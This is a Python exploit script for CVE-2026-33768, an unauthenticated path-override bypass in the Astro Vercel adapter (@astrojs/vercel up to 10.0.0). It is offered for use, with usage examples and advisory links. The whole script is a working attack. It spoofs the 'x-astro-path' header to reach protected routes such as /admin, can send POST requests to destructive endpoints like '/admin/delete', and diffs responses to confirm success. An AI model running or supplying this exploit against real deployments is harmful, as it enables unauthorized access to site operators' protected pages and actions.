#!/usr/bin/env python3 # Exploit Title: @astrojs/vercel <= 10.0.0 - Unauthenticated x-astro-path Header Path Override # CVE: CVE-2026-33768 # Date: 2026-03-25 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Author Blog : https://banyamersecurity.com/blog/ # Vendor Homepage: https://astro.build # Software Link: https://github.com/withastro/astro # Affected: @astrojs/vercel <= 10.0.0 # Tested on: @astrojs/vercel 10.0.0 # Category: WebApps # Platform: Vercel Serverless # Exploit Type: Path Override / Bypass # CVSS: 7.5 (High) # Description: Unauthenticated path override via x-astro-path or x_astro_path header/query parameter in Astro Vercel adapter. # Fixed in: @astrojs/vercel 10.0.2 # Usage: # python3 exploit.py <base_url> <target_path> [original_path] [method] [json_data] # # Examples: # python3 exploit.py https://example.vercel.app /admin/secret # python3 exploit.py https://example.vercel.app /admin/delete /public POST '{"userId":123}' # # Notes: # • Full professional exploit with protection check, response diff analysis, # redirect detection, and support for cookies / custom headers # • Compares direct access vs bypass to prove real success # • Detects if redirected to login or reached protected content import requests import sys import json import difflib from urllib.parse import urljoin def banner(): print(r""" ╔██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗╗ ║██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║ ║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ██████╔╝ ║██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╔═╗ Banyamer Security ╔═╗ """) def get_response(base_url, path, headers=None, cookies=None, method="GET", data=None, allow_redirects=True): full_url = urljoin(base_url.rstrip("/") + "/", path.lstrip("/")) req_headers = {"User-Agent": "Mozilla/5.0 (compatible; CVE-2026-33768-PoC)"} if headers: req_headers.update(headers) try: if method.upper() == "GET": r = requests.get(full_url, headers=req_headers, cookies=cookies, timeout=15, allow_redirects=allow_redirects) else: r = requests.request(method.upper(), full_url, headers=req_headers, cookies=cookies, json=data, timeout=15, allow_redirects=allow_redirects) return r except Exception as e: print(f"Error requesting {path}: {e}") return None def analyze_redirect(response): if response is None: return "No response" if response.is_redirect or (300 <= response.status_code < 400): location = response.headers.get("Location", "Unknown") return f"Redirected to: {location}" return "No redirect" def response_diff(direct_text, bypass_text): if not direct_text or not bypass_text: return "Cannot compare (one response is empty)" diff = difflib.unified_diff( direct_text.splitlines(keepends=True), bypass_text.splitlines(keepends=True), fromfile='Direct Access', tofile='Bypass Access', lineterm='' ) diff_text = ''.join(diff) if diff_text.strip(): print("\n[+] Content Difference Detected (Proof of Bypass):") print(diff_text[:1200]) else: print("\n[+] No major content difference (pages may be similar or identical)") def exploit_astro_vercel(base_url, target_path, original_path="/public", method="GET", data=None, cookies=None, extra_headers=None): print(f"[+] Target URL : {base_url}") print(f"[+] Original Path : {original_path}") print(f"[+] Target Path : {target_path}") print(f"[+] Method : {method}\n") # Step 1: Direct access (to check protection) print("[+] 1. Testing direct access to protected path...") direct_resp = get_response(base_url, target_path, cookies=cookies, method=method, data=data) if direct_resp: print(f" Status: {direct_resp.status_code}") print(f" Redirect: {analyze_redirect(direct_resp)}") direct_text = direct_resp.text else: direct_text = "" # Step 2: Bypass attempt print("\n[+] 2. Attempting path override bypass...") bypass_headers = {"x-astro-path": target_path} if extra_headers: bypass_headers.update(extra_headers) bypass_resp = get_response( base_url, original_path, headers=bypass_headers, cookies=cookies, method=method, data=data ) if bypass_resp: print(f" Bypass Status: {bypass_resp.status_code}") print(f" Redirect: {analyze_redirect(bypass_resp)}") bypass_text = bypass_resp.text else: bypass_text = "" # Step 3: Analysis print("\n" + "="*70) print("ANALYSIS & PROOF") print("="*70) if bypass_resp and bypass_resp.status_code in (200, 201, 204): print("SUCCESS: Bypass returned successful status code!") if "login" in bypass_resp.text.lower() or "auth" in bypass_resp.text.lower(): print("WARNING: Response contains login/auth keywords - may still be blocked") else: print("Strong indication that protected content was reached!") response_diff(direct_text, bypass_text) else: print("Bypass did not return success status.") if bypass_resp: print("\n[+] First 800 characters of bypass response:") print(bypass_resp.text[:800]) if __name__ == "__main__": banner() if len(sys.argv) < 3: print("Usage: python3 exploit.py <base_url> <target_path> [original_path] [method]") print("Example:") print(" python3 exploit.py https://target.vercel.app /admin/dashboard") print(" python3 exploit.py https://target.vercel.app /admin/delete /api/health POST") sys.exit(1) base_url = sys.argv[1] target_path = sys.argv[2] original_path = sys.argv[3] if len(sys.argv) > 3 else "/public" method = sys.argv[4] if len(sys.argv) > 4 else "GET" data = None if len(sys.argv) > 5 and method.upper() != "GET": try: data = json.loads(sys.argv[5]) except: data = {"test": "data"} cookies = None # Add cookies here if needed (dict) extra_headers = None # Add extra headers here if needed (dict) exploit_astro_vercel(base_url, target_path, original_path, method, data, cookies, extra_headers)
References:
https://github.com/withastro/astro/commit/335a204161f5a7293c128db570901d4f8639c6ed
https://github.com/withastro/astro/releases/tag/%40astrojs%2Fvercel%4010.0.2
https://github.com/withastro/astro/pull/15959
https://github.com/withastro/astro/security/advisories/GHSA-mr6q-rp88-fx84
{{ x.nick }}
{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1 {{ x.comment }} |